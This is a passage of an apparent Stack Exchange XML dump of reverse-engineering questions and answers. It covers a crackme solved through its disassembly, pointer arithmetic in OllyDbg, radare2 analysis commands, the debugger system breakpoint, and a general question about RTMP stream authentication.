0x1e&lt;/code&gt; into the edx register then we load the effective address (lea) of &lt;code&gt;ebp-0x8 -&amp;gt; 0x5a&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The add instruction adds the two values and saves them to &lt;code&gt;[eax]&lt;/code&gt; which is now the same as a pointer to &lt;code&gt;ebp-0x8&lt;/code&gt; since it's saving it to memory we can assume we are replacing an existing variable with a new computed value because we move the value return from add to the same location in memory effectively overwriting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we can assume again our code is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int a = 90&#xA;int b = 492&#xA;a = a + b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third Part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x08048444      0faf45f8       imul eax, dword [ebp - local_8h]&#xA;|           0x08048448      8945f4         mov dword [ebp - local_ch], eax&#xA;|           0x0804844b      8b45fc         mov eax, dword [ebp - local_4h]&#xA;|           0x0804844e      3b45f4         cmp eax, dword [ebp - local_ch]&#xA;|       ,=&amp;lt; 0x08048451      750e           jne 0x8048461&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may not be familiar with the &lt;code&gt;imul&lt;/code&gt; instruction but it simply multiplies two integers. We are multiplying the value of &lt;code&gt;eax&lt;/code&gt; which is the return value of the add operation &lt;code&gt;(582 or 90 + 492)&lt;/code&gt; then storing the value in &lt;code&gt;eax&lt;/code&gt; overwriting it's previous value of &lt;code&gt;582&lt;/code&gt;. Thus we are executing &lt;code&gt;(a + b) * (a + b)&lt;/code&gt; or &lt;code&gt;582 * 582&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then move the value you enter with &lt;code&gt;scanf()&lt;/code&gt; from memory into &lt;code&gt;eax&lt;/code&gt; and compare it to &lt;code&gt;(a + b) * (a + b)&lt;/code&gt;. If the jump afterwards is not equal to zero it will go to &lt;code&gt;0x8048461&lt;/code&gt; showing invalid password otherwise it will jump to valid password. It will exit if the password is valid or invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have a better understanding now you can put the source code together like I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main(int argc, char *argv[]){&#xA;        int a,b,c;&#xA;        printf(&quot;IOLI Crackme Level 0x02\n&quot;);&#xA;        printf(&quot;Password: &quot;);&#xA;        scanf(&quot;%d&quot;, &amp;amp;a);&#xA;        b = 90;&#xA;        c = 492;&#xA;        c = ((b + c) * (b + c));&#xA;        if(a == c){&#xA;                printf(&quot;Password OK :)\n&quot;);&#xA;        }&#xA;        else{&#xA;                printf(&quot;Invalid Password!\n&quot;);&#xA;        }&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my version of the program compiled and it's control flow graph:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MiKB1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MiKB1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps and good luck with you reverse engineering journey!&lt;/p&gt;&#xA;" OwnerDisplayName="user18154" LastEditorDisplayName="user18154" LastEditDate="2016-11-20T01:31:22.577" LastActivityDate="2016-11-20T01:31:22.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13998" PostTypeId="1" CreationDate="2016-11-20T04:49:25.087" Score="-1" ViewCount="146" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uF7KV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uF7KV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;include &lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; int WinMain(HINSTANCE hlnst,HINSTANCE hPrev, LPSTR lpCmd,int nShow){&#xA;&#xA;&#xA;&#xA;       MessageBox(0,&quot;Insert argument&quot;,&quot;&quot;,0);&#xA;       int i = 0;&#xA;&#xA;       for(i ; *(lpCmd+i)  ; i++ ){&#xA;&#xA;&#xA;&#xA;    }&#xA;    if(!(i=*(lpCmd+2)-0x30)){&#xA;            MessageBox(0,&quot;Success&quot;,&quot;&quot;,0);&#xA;&#xA;    }&#xA;&#xA;        MessageBox(0,&quot;Failed&quot;,&quot;&quot;,0);&#xA;&#xA;return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this picture you will see the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   MOVSX ECX , BYTE PTR DS:[EAX+2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FROM THE CODE *lpCmd is pointing at the address 00141F6B&#xA;my question is what does *(lpCmd +2) mean in this code?&#xA;can you tell me what this *(lpCmd+2) is pointing at? &lt;/p&gt;&#xA;" OwnerUserId="18135" LastActivityDate="2016-11-21T19:39:09.757" Title="*(lpCmd + somenumber)" Tags="|assembly|c|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13999" PostTypeId="2" ParentId="13998" CreationDate="2016-11-20T07:28:52.490" Score="1" Body="&lt;p&gt;&lt;strong&gt;eax is 141f6b&lt;/strong&gt; in your screen shot&lt;br&gt;&#xA;so &lt;strong&gt;eax+2 = 141f6d&lt;/strong&gt;  byte ptr ds:[eax+2] == *(BYTE *)141f6d == 0&lt;br&gt;&#xA;BYTE *(lpcmd +2 ) == BYTE *(141f6b + 2) == BYTE *(141f6d) == 0   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QpYMx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QpYMx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the disassembly for the WinMain&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address  Hex&amp;gt;Command                          Comments&#xA;00EA1260 /$  SUB     ESP,68               ; lpcmd.00EA1260(guessed Arg1,Arg2,Arg3,Arg4)&#xA;00EA1263 |.  MOV     EAX,[0EB8004]&#xA;00EA1268 |.  XOR     EAX,ESP&#xA;00EA126A |.  MOV     [ESP+64],EAX             ; ASCII &quot;wo0t&quot;&#xA;00EA126E |.  PUSH    EBX&#xA;00EA126F |.  MOV     EBX,[ESP+78]&#xA;00EA1273 |.  LEA     EAX,[ESP+4]&#xA;00EA1277 |.  PUSH    64                       ; /Arg3 = 64&#xA;00EA1279 |.  PUSH    0                        ; |Arg2 = 0&#xA;00EA127B |.  PUSH    EAX                      ; |Arg1 = ASCII &quot;wo0t&quot;&#xA;00EA127C |.  CALL    00EA1F10                 ; \lpcmd.00EA1F10&#xA;00EA1281 |.  MOV     AL,[EBX]&#xA;00EA1283 |.  ADD     ESP,0C&#xA;00EA1286 |.  TEST    AL,AL&#xA;00EA1288 |.  JZ      SHORT 00EA12B7&#xA;00EA128A |.  PUSH    ESI&#xA;00EA128B |.  PUSH    EDI&#xA;00EA128C |.  LEA     EDI,[ESP+0C]&#xA;00EA1290 |.  MOV     ESI,EBX&#xA;00EA1292 |.  SUB     EDI,EBX&#xA;00EA1294 |&amp;gt;  /MOVSX   EAX,AL&#xA;00EA1297 |.  |PUSH    EAX                     ; /Arg4 = ASCII &quot;wo0t&quot;&#xA;00EA1298 |.  |PUSH    OFFSET 00EB1168         ; |Arg3 = ASCII &quot;%c&quot;&#xA;00EA129D |.  |LEA     EAX,[ESI+EDI]           ; |&#xA;00EA12A0 |.  |PUSH    64                      ; |Arg2 = 64&#xA;00EA12A2 |.  |PUSH    EAX                     ; |Arg1 = ASCII &quot;wo0t&quot;&#xA;00EA12A3 |.  |CALL    00EA1370                ; \lpcmd.00EA1370&#xA;00EA12A8 |.  |MOV     AL,[ESI+1]&#xA;00EA12AB |.  |LEA     ESI,[ESI+1]&#xA;00EA12AE |.  |ADD     ESP,10&#xA;00EA12B1 |.  |TEST    AL,AL&#xA;00EA12B3 |.^ \JNZ     SHORT 00EA1294&#xA;00EA12B5 |.  POP     EDI&#xA;00EA12B6 |.  POP     ESI&#xA;00EA12B7 |&amp;gt;  MOVSX   EAX,BYTE PTR [EBX+2]&#xA;00EA12BB |.  POP     EBX&#xA;00EA12BC |.  SUB     EAX,30&#xA;00EA12BF |.  PUSH    0                        ; /Type = MB_OK|MB_DEFBUTTON1|MB_APPLMODAL&#xA;00EA12C1 |.  LEA     EAX,[ESP+4]              ; |&#xA;00EA12C5 |.  PUSH    EAX                      ; |Caption = &quot;wo0t&quot;&#xA;00EA12C6 |.  JNZ     SHORT 00EA12CF           ; |&#xA;00EA12C8 |.  PUSH    OFFSET 00EB116C          ; |ASCII &quot;Success&quot;&#xA;00EA12CD |.  JMP     SHORT 00EA12D4           ; |&#xA;00EA12CF |&amp;gt;  PUSH    OFFSET 00EB1174          ; |ASCII &quot;Failed&quot;&#xA;00EA12D4 |&amp;gt;  PUSH    0                        ; |hOwner = NULL&#xA;00EA12D6 |.  CALL    [&amp;lt;&amp;amp;USER32.MessageBoxA&amp;gt;]  ; \USER32.MessageBoxA&#xA;00EA12DC |.  MOV     ECX,[ESP+64]&#xA;00EA12E0 |.  XOR     EAX,EAX&#xA;00EA12E2 |.  XOR     ECX,ESP&#xA;00EA12E4 |.  CALL    00EA13F6&#xA;00EA12E9 |.  ADD     ESP,68&#xA;00EA12EC \.  RETN    10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-11-21T19:39:09.757" LastActivityDate="2016-11-21T19:39:09.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14001" PostTypeId="1" AcceptedAnswerId="14002" CreationDate="2016-11-20T18:20:17.013" Score="2" ViewCount="2034" Body="&lt;p&gt;I'm trying to disassemble &lt;code&gt;main&lt;/code&gt; of programs function in Visual Mode and i want to see Disassembly Graph, but radare2 show me this message:&lt;br&gt;&#xA;&lt;code&gt;Not in a function. Type 'df' to define it here&lt;/code&gt;&#xA;&lt;br&gt;&lt;em&gt;googling result for this message was &lt;a href=&quot;https://github.com/radare/radare2/blob/master/libr/core/visual.c#L1533&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2 source on GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My steps:&lt;br&gt;&#xA;1 - &lt;code&gt;r2 program&lt;/code&gt;&lt;br&gt;&#xA;2 - &lt;code&gt;s main&lt;/code&gt; or &lt;code&gt;s sym.main&lt;/code&gt;&lt;br&gt;&#xA;3 - &lt;code&gt;VV&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s.: I'm a n00b in r2.&lt;/p&gt;&#xA;" OwnerUserId="10195" LastActivityDate="2016-11-20T18:20:17.013" Title="Not in a function. Type 'df' to define it here" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14002" PostTypeId="2" ParentId="14001" CreationDate="2016-11-20T18:20:17.013" Score="2" Body="&lt;p&gt;Run r2 with &lt;code&gt;-A&lt;/code&gt; flag or run &lt;code&gt;aaa&lt;/code&gt; in r2 to analyze all referenced code.&lt;br&gt;&#xA;in &lt;code&gt;r2 -h&lt;/code&gt;: &lt;code&gt;-A    run 'aaa' command to analyze all referenced code&lt;/code&gt;.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my r2 version: &lt;code&gt;0.10.6&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10195" LastActivityDate="2016-11-20T18:20:17.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14004" PostTypeId="1" CreationDate="2016-11-21T01:09:37.757" Score="1" ViewCount="451" Body="&lt;p&gt;After performing an mitm attack I discovered that the Nest mobile application appears to use a cookie as authentication to access data. It receives a response that gives an RTMPS address, but it seems to need an authentication of sorts to access as currently when trying to access it connects but transmits no data via RTMPdump. Can an RTMP stream use a cookie as Authentication, if so how would I send that via RTMPdump?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Tags are inaccurate because I don't have required reputation to create appropriate tags&lt;/p&gt;&#xA;" OwnerUserId="18153" LastActivityDate="2017-02-20T09:13:16.247" Title="Can a RTMPS stream be authenticated by a cookie?" Tags="|ios|command-line|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14006" PostTypeId="2" ParentId="12866" CreationDate="2016-11-21T08:11:07.117" Score="0" Body="&lt;p&gt;I think &lt;a href=&quot;https://github.com/cea-sec/Sibyl&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sibyl&lt;/a&gt; could help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a function divination tool. The idea is to identify the side effects of functions. That way, identification is independent of the used implementation.&lt;/p&gt;&#xA;" OwnerUserId="17216" LastActivityDate="2016-11-21T08:11:07.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14007" PostTypeId="1" AcceptedAnswerId="14009" CreationDate="2016-11-21T08:53:43.740" Score="1" ViewCount="421" Body="&lt;p&gt;I have some understanding of Assembly after reading some tutorials and a few chapters from the &quot;PC Assembly Book&quot;. Right now, I am trying to understand the instructions I see in OllyDbg, but it seems to follow a different syntax than the NASM syntax I am used to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This OllyDbg instruction for example doesn't seem intuitive to me, especially the &lt;code&gt;PTR SS:&lt;/code&gt; part.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV DWORD PTR SS:[ESP+8],EBX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not looking for an explanation of this particular construct, but rather a documentation for the whole syntax. How can I find that?&lt;/p&gt;&#xA;" OwnerUserId="18167" LastActivityDate="2016-11-21T09:53:06.677" Title="What syntax does OllyDbg follow in its dissassembly window?" Tags="|disassembly|assembly|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14009" PostTypeId="2" ParentId="14007" CreationDate="2016-11-21T09:53:06.677" Score="3" Body="&lt;p&gt;OllyDbg uses the MASM/Intel syntax for disassembly. You can get the basic documentation at &lt;a href=&quot;http://www.cs.virginia.edu/~evans/cs216/guides/x86.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cs.virginia.edu/~evans/cs216/guides/x86.html&lt;/a&gt;. The &lt;a href=&quot;http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel developer manuals&lt;/a&gt; can give you more detail about what specific instructions do and what segments mean (in your case the memory location &lt;code&gt;[ESP+8]&lt;/code&gt; uses the SS segment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows &lt;strong&gt;user mode&lt;/strong&gt; it is safe to ignore all segments (&lt;code&gt;SS:[ESP+8]&lt;/code&gt; means exactly the same as &lt;code&gt;DS:[ESP+8]&lt;/code&gt;), only the FS (32 bit) and GS (64 bit) segments have a meaning. See &lt;a href=&quot;https://en.wikipedia.org/wiki/Win32_Thread_Information_Block&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good resource is &lt;a href=&quot;https://www.scribd.com/document/331803715/Basics-of-Assembler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Basics of Assembler&lt;/a&gt; by &lt;a href=&quot;https://tuts4you.com/download.php?list.17&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lena151&lt;/a&gt; it should get you up to speed if you're not familiar with (dis)assembly. In &lt;a href=&quot;http://x64dbg.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt; you can get brief descriptions and the relevant intel manual section for every instruction with a click of the mouse which might come in handy too.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2016-11-21T09:53:06.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14010" PostTypeId="2" ParentId="13157" CreationDate="2016-11-21T10:03:41.887" Score="0" Body="&lt;p&gt;I found out that SHGetKnownFolderPath does not have a declspec(dllimport) flag in the definition in the header file.&lt;br&gt;&#xA;Adding it made it identical to the CreateFile call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without it, the compiler made a stub for the unknown function, and the linker made his own stub because of incremental linking, and only then forward the call to the DLL.&lt;/p&gt;&#xA;" OwnerUserId="16414" LastActivityDate="2016-11-21T10:03:41.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14011" PostTypeId="2" ParentId="13998" CreationDate="2016-11-21T10:12:00.070" Score="0" Body="&lt;p&gt;it is more of a C question.&lt;br&gt;&#xA;lpCmd is probably of type (char**) - a pointer to a string.&lt;br&gt;&#xA;EAX is set to point to the string itself. (type char*) The string is &quot;77&quot;.&lt;br&gt;&#xA;And *(lpCmd+2) means the value of the third byte in the string, that in your case it the '\0'. (the string terminator in C) So ECX==0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that the C code does not match the assembly code, but if I hazzard a guess the code compare the third character of the string with the length of it. If it match, then success. (i.e. &quot;773&quot;, &quot;8846&quot;)&lt;/p&gt;&#xA;" OwnerUserId="16414" LastEditorUserId="16414" LastEditDate="2016-11-21T10:19:48.770" LastActivityDate="2016-11-21T10:19:48.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14012" PostTypeId="1" AcceptedAnswerId="14013" CreationDate="2016-11-21T12:37:17.997" Score="1" ViewCount="978" Body="&lt;p&gt;When I open a program in a debugger like OllyDbg or x64dbg, there are a lot of instructions before the initially selected instruction. Why does the debugger choose this instruction specifically to have it under the cursor? What is with the instructions on the list that appear before it? Were some of them executed?&lt;/p&gt;&#xA;" OwnerUserId="18167" LastActivityDate="2016-11-21T19:51:52.290" Title="What are all those instructions before the initally selected instruction in OllyDbg?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14013" PostTypeId="2" ParentId="14012" CreationDate="2016-11-21T13:50:53.487" Score="2" Body="&lt;p&gt;Probably you are talking about the &quot;system breakpoint&quot;. This is the location that the OS uses to break so the debugger can do its work. In x64dbg you can get more information by loading symbols for ntdll.dll. You will notice that the function is called &lt;a href=&quot;http://blog.nandaka.io/ldrpdodebuggerbreak&quot; rel=&quot;nofollow noreferrer&quot;&gt;LdrpDoDebuggerBreak&lt;/a&gt;. If you're not interested in the Windows loader you can simply disable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zHRZY.png&quot; alt=&quot;disable system breakpoint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual exception for the system breakpoint is &lt;code&gt;STATUS_BREAKPOINT&lt;/code&gt;. The &lt;code&gt;LdrpDoDebuggerBreak&lt;/code&gt; uses the &lt;code&gt;INT3&lt;/code&gt; instruction to throw this exception to the debugger. Basically the OS is signalling the debugger that it finished the process initialization phase and also giving the debugger a chance to modify the thread context or process memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it in the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZYvLS.png&quot; alt=&quot;int3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2221" LastEditorUserId="2221" LastEditDate="2016-11-21T19:51:52.290" LastActivityDate="2016-11-21T19:51:52.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14015" PostTypeId="1" CreationDate="2016-11-22T02:40:26.803" Score="0" ViewCount="453" Body="&lt;p&gt;For dynamic memory allocation in C/C++&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  int main(){&#xA;  MessageBox(0,&quot;crackname&quot;,&quot;&quot;,0);&#xA;&#xA;  int * ptr = new int[50];&#xA;  int * ptr2 = new int[50];&#xA;  ptr[0] = 0x75;&#xA;  ptr[1] = 0x65;&#xA;  (*ptr) +1 = 0x75;&#xA;&#xA;  MessageBox(0,&quot;crackname&quot;,&quot;&quot;,0);&#xA;  return 0;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the assembly for this code is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   MOV DWORD PTR SS:[EBP-10],EAX&#xA;   MOV ECX,DWORD PTR SS:[EBP-10]&#xA;   MOV DWORD PTR SS:[EBP-8],ECX&#xA;   MOV EDX,DWORD PTR SS:[EBP-4]&#xA;   MOV DWORD PTR DS:[EDX],75&#xA;   MOV EAX,DWORD PTR SS:[EBP-4]&#xA;   MOV DWORD PTR DS:[EAX+4],65&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each dynamic memory allocation is 4 bytes. &#xA;But is it possible to make it like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   MOV DWORD PTR DS:[EAX+1],65   // +1 not +4 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KCGOd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCGOd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if it's possible, what is the theory behind it with dynamic allocated memory?&lt;/p&gt;&#xA;" OwnerUserId="18177" LastEditorUserId="2959" LastEditDate="2016-11-22T12:25:39.463" LastActivityDate="2016-11-22T12:25:39.463" Title="dynamic memory allocation" Tags="|assembly|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14016" PostTypeId="2" ParentId="14004" CreationDate="2016-11-22T05:04:02.437" Score="1" Body="&lt;p&gt;Possibly, but it's unlikely that secure information like the RTMP auth key is stored in an insecure cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is most likely happening is that Nest has a REST API used for authentication.  After signing in with your username and password, you get a token back (OAuth2).  Some combination of your username and the token is probably used as the RTMP key, unless the server is employing an additional level of security, in which there is probably another endpoint used to generate specific keys for each RTMP stream you have permissions to access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would analyze the RTMP request leaving the application, checking for any auth information in headers or URL query strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encourage you to read through &lt;a href=&quot;http://www.adobe.com/devnet/rtmp.html&quot; rel=&quot;nofollow&quot;&gt;Adobe's RTMP spec&lt;/a&gt; for further information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sources: The spec linked to above and I have written an entire application (server side and iOS frontend) that centers around RTMP video encoding, ingestion, and playback.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2016-11-22T05:26:01.113" LastActivityDate="2016-11-22T05:26:01.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14017" PostTypeId="2" ParentId="11642" CreationDate="2016-11-22T05:11:19.623" Score="2" Body="&lt;p&gt;It is unlikely that you will be able to get any information about the device via the USB port.  Most likely, that would just provide access to either a memory card or read/write flash memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you probably want to do is open up the device and look for any ROM of flash memory soldered directly to the board.  You may have some luck with something like an 8 bit Saleae logic analyzer (assuming you could figure out the correct voltage the device runs on).&lt;/p&gt;&#xA;" OwnerUserId="17972" LastActivityDate="2016-11-22T05:11:19.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14019" PostTypeId="2" ParentId="13916" CreationDate="2016-11-22T05:59:19.883" Score="1" Body="&lt;p&gt;Many images in OS X applications live in the bundle.  Meaning they are linked with the application, but not compiled into the binary.  One exception to this would be if the application is using an asset catalog which compiles images into a binary format for quick lookup at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at Calculator.app that ships with OS X.  In the application bundle, you will see a Resources directory (full path: &lt;code&gt;Calculator.app/Contents/Resources&lt;/code&gt;).  This is where all of the images are stored in the application.  In the case of Calculator.app, there are a bunch of tiff images which represent the keys:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2xcYb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2xcYb.png&quot; alt=&quot;Calculator Resources&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd experiment with replacing or modifying images in the Resources folder of the application.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastActivityDate="2016-11-22T05:59:19.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14020" PostTypeId="5" CreationDate="2016-11-22T06:05:54.883" Score="0" Body="&lt;p&gt;A Global Positioning System provides geolocation and time information to a hardware receiver.  Many applications (especially on mobile devices) use this technology to track or report the device's location.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2016-11-22T06:57:14.760" LastActivityDate="2016-11-22T06:57:14.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14021" PostTypeId="4" CreationDate="2016-11-22T06:05:54.883" Score="0" Body="For questions about reverse engineering hardware and software related to Global Positioning Systems." OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2016-11-22T06:57:29.423" LastActivityDate="2016-11-22T06:57:29.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14022" PostTypeId="2" ParentId="14015" CreationDate="2016-11-22T08:47:21.870" Score="0" Body="&lt;p&gt;you defined &lt;code&gt;ptr&lt;/code&gt; as int pointer. int type size is 4 byte in 32-bit intel architecture. thus &lt;code&gt;(*ptr) +1 = 0x75;&lt;/code&gt; will add 1 to a 32bit mem/reg. maybe you can test type casting like: &lt;code&gt;(char *)(ptr) +1 = 0x75;&lt;/code&gt;;&#xA;additionally memory alignment is 4 just for performance. &lt;/p&gt;&#xA;" OwnerUserId="18178" LastActivityDate="2016-11-22T08:47:21.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14023" PostTypeId="2" ParentId="14015" CreationDate="2016-11-22T12:20:57.103" Score="1" Body="&lt;p&gt;int is 4 bytes so when you declare &lt;/p&gt;&#xA;&#xA;&lt;p&gt;int *ptr =new int [50] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you have a memory layout like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TYPE   int      int      int      int      int&#xA;SIZE    4         4        4       4        4&#xA;CONT 00000000 11111111 44444444 88888888 ffffffff&#xA;ADDR|00400000|00400004|00400008|0040000C|00400010|&#xA;    p        p        p        p        p        p &#xA;    t        t        t        t        t        t&#xA;    r        r        r        r        r        r&#xA;    [0]      [1]      [2]      [3]      [4]      [5]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you should allocate properly sized memory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;char is 1 BYTE &#xA;so char * ptr = new char[50] should work&#xA;the memory layout will be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TYPE   char     char     char     char     char&#xA;SIZE    1         1        1       1        1&#xA;CONT    00        11       44      88       ff&#xA;ADDR|00400000|00400001|00400002|00400003|00400004|&#xA;    p        p        p        p        p        p &#xA;    t        t        t        t        t        t&#xA;    r        r        r        r        r        r&#xA;    [0]      [1]      [2]      [3]      [4]      [5]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to use int only and not char then you may need to employ other &#xA;techniques like ptr[0] = 'sseM' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;see code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#define BUFFSIZE 0x50&#xA;void main (void) {&#xA;&#xA;  int *blah = new int[BUFFSIZE];&#xA;  memset(blah,0,BUFFSIZE);&#xA;  blah[0] = 'sseM';&#xA;  blah[1] = ' ega';&#xA;  blah[2] = 'S si';&#xA;  blah[3] = 'erce';&#xA;  blah[4] = 'oy\0t';&#xA;&#xA;  printf (&quot;%s\n&quot; , (char *)blah);&#xA;&#xA;  char *ptr = new char[BUFFSIZE];&#xA;  memset(ptr,0,BUFFSIZE);&#xA;  char *foo = &quot;MySecretMessage&quot;;&#xA;  for(char i =0; i&amp;lt; (char)strlen(foo) ; i++)&#xA;  {&#xA;    ptr[i] = *foo+i;&#xA;    ptr[i+BUFFSIZE/2] = *(foo+i);&#xA;  }&#xA;  printf (&quot;contents of ptr is %s\nptr[25] is %s\n &quot;, ptr , &amp;amp;ptr[BUFFSIZE/2]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;intptr.exe&#xA;Message is Secret&#xA;contents of ptr is MNOPQRSTUVWXYZ[&#xA;ptr[25] is 